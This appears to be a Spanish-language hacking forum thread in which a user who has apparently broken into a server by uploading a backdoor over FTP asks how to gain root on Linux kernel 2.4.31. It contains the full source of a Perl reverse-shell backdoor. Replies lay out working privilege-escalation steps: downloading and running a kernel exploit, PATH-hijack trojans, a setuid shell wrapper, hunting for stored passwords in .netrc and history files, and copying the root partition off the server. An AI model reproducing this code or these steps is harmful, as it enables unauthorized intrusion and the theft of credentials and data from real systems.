Tema destacado:
Autor
|
Tema: Escala de privilegios kernel 2.4.31 (Leído 3,188 veces)
|
OnLOL
Desconectado
Mensajes: 25
|
Hi, todo iba bien hasta que tube que hacerme root, ningun exploit me funciona con este kernel, aca los datos:
uname -a: Linux tera1 2.4.31 #3 Mon Jan 8 22:02:18 ART 2007 i686 uid=99(nobody) gid=98(nobody) groups=98(nobody) Safe-mode: OFF (not secure)
ya le puse el backdoor ( dc.) y lo tengo en mi consola.si alguien sabe de algo mas que pueda hacer o algun exploit que sepan que fuciones.
|
|
|
|
|
En línea
|
|
|
|
|
berz3k
|
Para instalar un backdoor necesitas privilegios de "root".
A que te refieres con "ya le puse el backdoor" ?, es decir, si ya tienes root y le instalaste un backdoor, a donde quieres llegar con este post?
-berz3k.
|
|
|
|
|
En línea
|
|
|
|
OnLOL
Desconectado
Mensajes: 25
|
tengo una cuenta ftp, subi el Data cha0s y tengo la shel, lo que no puedo es navegar libremente por todo el servidor, tengo la id de nobody. El dc lo subi por FTP y le di privilegios de 7777
|
|
|
|
|
En línea
|
|
|
|
|
berz3k
|
No conozco el Data Cha0s subelo algun link para analizarlo, mencioname mas datos como su instalacion, etc etc.
-berz3k.
|
|
|
|
|
En línea
|
|
|
|
OnLOL
Desconectado
Mensajes: 25
|
Es un backdoor comun y corriente, tengo el ftp, lo subo, le pongo provilegios de 777 y ya. aca el code del DC. #!/usr/bin/perl use Socket; print "Data Cha0s Connect Back Backdoor\n\n"; if (!$ARGV[0]) { printf "Usage: $0 [Host] \n"; exit(1); } print "[*] Dumping Arguments\n"; $host = $ARGV[0]; $port = 80; if ($ARGV[1]) { $port = $ARGV[1]; } print "[*] Connecting...\n"; $proto = getprotobyname('tcp') || die("Unknown Protocol\n"); socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Error\n"); my $target = inet_aton($host); if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) { die("Unable to Connect\n"); } print "[*] Spawning Shell\n"; if (!fork( )) { open(STDIN,">&SERVER"); open(STDOUT,">&SERVER"); open(STDERR,">&SERVER"); exec {'/bin/sh'} '-bash' . "\0" x 4; exit(0); } print "[*] Datached\n\n";
|
|
|
|
|
En línea
|
|
|
|
|
TRICKY
|
Que tal.
Para que te funcione el ultimo exploit, deberas de cambiar algo, no? :__)
Saludos.
|
|
|
|
|
En línea
|
"La envidia es una declaración de inferioridad" Napoleón.
|
|
|
OnLOL
Desconectado
Mensajes: 25
|
wut? andubo sin tener que cambiarle nada, tengo la shell en mi pc lo unioco que quiero es hacerme root
|
|
|
|
|
En línea
|
|
|
|
|
berz3k
|
Ha ya veo, el Data Cha0s es un simple SPAWN shell donde te permitira abrir un puerto y tener una shell normal, ejecutalo y cambiale el puerto de escucha, conectate a este nuevo puerto, busca un directorio "escribible" para que puedas poner uno de los tantos exploits para el kernel .eg. Buscando directorios "escribibles" $find / -perm -2 -ls
Generalmente el /tmp tiene permisos de escritura, ahora busca el codigo llamado "h00lyshit.c" por google o alguna de tantas paginas que lo hospeda y descargalo: $ wget http://google/h00lyshit.c
Compila el exploit $gcc h00lyshit.c -o h00lyshit
Ejecuta ahora el binario que te creeo: $./h00lyshit /tmp/archivogrande
Si todo marcha bien seras root, si no fue asi tendras que buscar mas vulnerabilidades LOCALES en el servidor para lograr el root o seguramente esta algo parchado. -berz3k.
|
|
|
|
|
En línea
|
|
|
|
OnLOL
Desconectado
Mensajes: 25
|
lol, me parece que no se entendio... ya lo corri tengo la shell abierta subi el h00lyshit.. y todos los exploits conocidos pero ninguno me deja hacer root
|
|
|
|
|
En línea
|
|
|
|
|
berz3k
|
Entonces el server esta parchado, a menos que encotreis un 0day XDD, pero vaya, si ya intentaste todo y digo realmente todo, no hay nada que hacer.
1.Bugs locales busca files setuid y guid -4000 -2000, si encuentras algo interesante tendreis que hacerte tu propio exploit o intentatar infinidad de fuzzer para binarios en lunux.
2. Bugs locales en webapp, posiblemente algun procesos sea vulnerable al llamado de un CGI, PHP. Perl etc
3. Algun servicio vulnerable, scann de puertos observaras su servicios actuales.
4. Bugs Webapp, veo que ya tienes shell, observa algun config de Apache o IIS, version etc, el php o el mysql seguramente podras insertar algo para tener una shell con privilegios
etc etc
-berz3k.
-berz3k.
|
|
|
|
|
En línea
|
|
|
|
|
TRICKY
|
Que tal.
Bueno, ante todo disculpas. No hay que cambiar nada en el backdoor. Lo mire por unos momentos y nada, me confuncio el if (!fork()); ya que utiliaza exec es normal que quiera "forkear" un child, pero.. lo hace dentro del proceso padre (!fork()).. La escalada de rivilegios no es tarea facil a veces. Sabes que servicios tiene corriendo? Puedes usar nmap? Puede ser que el Admin, tenga "protegidos" alunos servicios que, siendo invisibles desde afuera, desde dentro sean totalmente visibles y, por que no, buggies. Asi que, si no encuentras un exploit local para el kernel en cuestion, averigua para los procesos-servicios. Asi, podrias hacerte con una lista de los servicios-procesos corriendo, y pegarlos en este hilo para indagar por ideas. Podria tener r00t tambien el directorio actual "." en su PATH..? si lo tuviera, y estuviera al principio de su PATH, podrias probar a colocar un troyano de "ls" en /tmp. Asi, si ejecutara ( teniendo en su PATH al principio el cwd /* PATH=.:/bin:/usr/bin...blahblah */ )un ls en /tmp, se ejecutaria antes el troyano creado por ti en el mismo /tmp. Si tuviera el cwd (". ") al final de su PATH ( PATH=/bin:/usr/bin:..blahblah:." ), pues podrias hacerte un troyano bajo /tmp llamado "la". Para que ? pues para que por si r00t se condunde al tipear "ls" y tipea "la", pues PATH buscaria en todos los directorios contenidos en su varible, hasta llegar al ultimo, "." donde si que encontraria "la", nuestro troyano. Bueno, todo esto de que el r00t tenga en su PATH el cwd es relativo, asi que debes probar mas cosas; pero sin descartar ninguna! estas en plena escalada de privilegios..
Puedes hallar los programas setuid setgid, o alguno de ellos? Tratalo con find ( # find / \( -perm +4000 -o -perm +6000 \) -exec ls -l {} \; ). Si ves y tienes permisos de lectura sobre alguno, usa strings para verlos ( los binarios por supuesto! ). Si ves que el programa suid o sgid en cuestion hace uso de funciones inseguras como system(), execvp(), execlp().. pues trata de troyanizar con los argumentos. O sea, si llegaras a localizar algun suid o sgid, podrias hacer un programa con el nombre del/os argumento que pueda tomar dicha funcion insegura dentro de ese programa. Para esto podrias ayudarte de "ldd". Tras localizar ese argumento ( con execvp, execlp y system pues un ejecutable externo ) pues puedes hacerte una mochila ( para bash ) asi:
#include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h>
void main(void) {
uid_t uid = getuid(); uid_t euid = geteuid();
stereuid(euid, euid); system("/bin/bash"); }
Esto lo compilas dandole el nombre del argumento ( el ejecutable exterior ) que use la/s funciones inseguras del programa suid o sgid. Ahora, solo tendrias que colocar TU en tu PATH el cwd "." delante de mismo ( # export PATH=".:$PATH" ). Tras ello ejecutarias el programa suid/sgid, y si todo va bien, se ejecutaria la mochila ( que estaria en el cwd ) antes que el programa legitimo llamado por la funcion insegura.
Bueno, hay que ir probando no? y mas si no te estan funcionando ninguno de los exploits locales; que es en lo que habria que centrarse en un principio..
Tambien una cosa, puedes probar una escalada de privilegios mas lenta, obtenien- do la pass de la cuenta de un user que tenga mas provilegios que tu ( users bajo el grupo wheel, por ejemplo si este existe en el sistema - cat /etc/groups \ | grep "wheel" ) y tras ello saltar a r00t. Podrias probar a encontrar passwords residentes en archivos de texto plano encontrados en el sistema de ficheros. El fichero .netrc suele tener info no solo de fetchmail ( si es que se usa ), sino tambien de otros servcios como ftp, pudiendo llegar a contener paswords. Para ello, podrias intentar un: # find / -name ".fetchmailrc" -o ".netrc" -exec ls -l {} \; si tienes permisos de lectura, pues a leerlos se dijo.
Tambien, podrias usar find para tratar de encotrar algun history con permisos de lectura ( cosa rara, pero bueno.. ). Mira /etc/passwd y asegurate de que se usa Bash en gran medida. Si es asi, podrias tratar de buscar con find archivos .bash_history, por si acaso cae algun que otro password de agun usuario.
Mira a ver bajo /dev los permisos de dispositivos cruciales como /dev/mem, /dev/kmem, /dev/hda1 ( si es la particion root ) .. Si tienes permisos de lectura sobre aguno, pues ya esta. Si tienes permisos de lectura sobre /dev/hda1 ( AKA / ), pues podrias usar dump o dd i hacer una copia bajo /tmp. Tras ello, te la subes a un ftp o tuyo, y lo montas de manera local en tu PC. Ahi, tendras harto tiempo para sacar lo que quieras. Si tienes permisos sobre /dev/mem o /dev/kmem, intenta usar los strings que pongo en un post mas abajo a este ( por ahora ) para intentar sacar el pass de r00t. Si no tienes esos permisos de lectura, pues intenta escalar al grupo que los tenga ( ls -l /dev/mem ) ya que el user sera r00t. COmo nota para la escalada, decir que normalmente lso users bajo el grupo wheel ( si es que existe, de nuevo ) suelen tener acceso a sudo..
Bueno, Saludos y Suerte en tu escalada.
/**** MODIFIKO ****/
Trata de buscar los archivos world writable: # find / ! -type l -perm -o+w -exec ls -l {} \; 2>/dev/null | less
Chequea los importantes.
|
|
|
|
« Última modificación: 30 Agosto 2008, 15:30 por averno »
|
En línea
|
"La envidia es una declaración de inferioridad" Napoleón.
|
|
|
OnLOL
Desconectado
Mensajes: 25
|
XD ya perdi, cerraron el ftp, y la web, asi que no puedo entrar mas, Gracias a todos por la ayuda y las respuestas
|
|
|
|
|
En línea
|
|
|
|
|
|